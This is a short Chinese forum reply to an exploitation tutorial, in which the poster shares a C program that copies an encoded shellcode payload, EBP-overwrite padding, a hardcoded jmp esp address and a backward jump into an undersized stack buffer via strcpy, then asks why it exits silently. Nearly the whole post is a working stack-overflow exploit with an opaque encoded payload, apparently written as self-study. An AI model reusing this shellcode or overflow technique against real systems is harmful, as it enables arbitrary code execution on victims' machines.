相当不错的教程!
择个修改如下:
#include<stdio.h>
#include<string.h>
unsigned char scode[]=
"\x2b\xc9\x83\xe9\xc9\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x05" //shellcode start here
"\x02\x23\x0a\x83\xeb\xfc\xe2\xf4\xf9\xea\x67\x0a\x05\x02\xa8\x4f"
"\x39\x89\x5f\x0f\x7d\x03\xcc\x81\x4a\x1a\xa8\x55\x25\x03\xc8\x43"
"\x8e\x36\xa8\x0b\xeb\x33\xe3\x93\xa9\x86\xe3\x7e\x02\xc3\xe9\x07"
"\x04\xc0\xc8\xfe\x3e\x56\x07\x0e\x70\xe7\xa8\x55\x21\x03\xc8\x6c"
"\x8e\x0e\x68\x81\x5a\x1e\x22\xe1\x8e\x1e\xa8\x0b\xee\x8b\x7f\x2e"
"\x01\xc1\x12\xca\x61\x89\x63\x3a\x80\xc2\x5b\x06\x8e\x42\x2f\x81"
"\x75\x1e\x8e\x81\x6d\x0a\xc8\x03\x8e\x82\x93\x0a\x05\x02\xa8\x62"
"\x39\x5d\x12\xfc\x65\x54\xaa\xf2\x86\xc2\x58\x5a\x6d\xed\xed\xea"
"\x65\x6a\xbb\xf4\x8f\x0c\x74\xf5\xe2\x61\x4e\x6e\x2b\x67\x5b\x6f"
"\x25\x2d\x40\x2a\x6b\x67\x57\x2a\x70\x71\x46\x78\x25\x71\x46\x69"
"\x70\x70\x4a\x7e\x7c\x22\x50\x6f\x66\x77\x51\x63\x71\x7b\x03\x25"
"\x44\x46\x67\x2a\x23\x24\x03\x64\x60\x76\x03\x66\x6a\x61\x42\x66"
"\x62\x70\x4c\x7f\x75\x22\x62\x6e\x68\x6b\x4d\x63\x76\x76\x51\x6b"
"\x71\x6d\x51\x79\x25\x71\x46\x69\x70\x70\x4a\x7e\x7c\x22\x0c\x4b" /*到此已分配的存储单元全部占用完240*/
"\x41\x46\x23\x0a" //shellcode到此结束,并覆盖EBP
"\x12\x45\xfa\x7f" //jmp esp
"\xE9\x03\xFF\xFF\xFF"; //jmp-248 跳到前面去执行shellcode
int main()
{
char a[237]; //根据计算机对齐原则,此处应分配240个存储单元
strcpy(a,scode);
return 1;
}
个人认为应该可以完成使命滴,但是,很遗憾.啥也没提示就over了 -_-!
麻烦路过的或者楼主看下,以上错在何处 ?
顺便提下:
跟入这个shellcode后单步调试总是出错,集体运行却没问题 呵呵 :)
有意思 ..~~
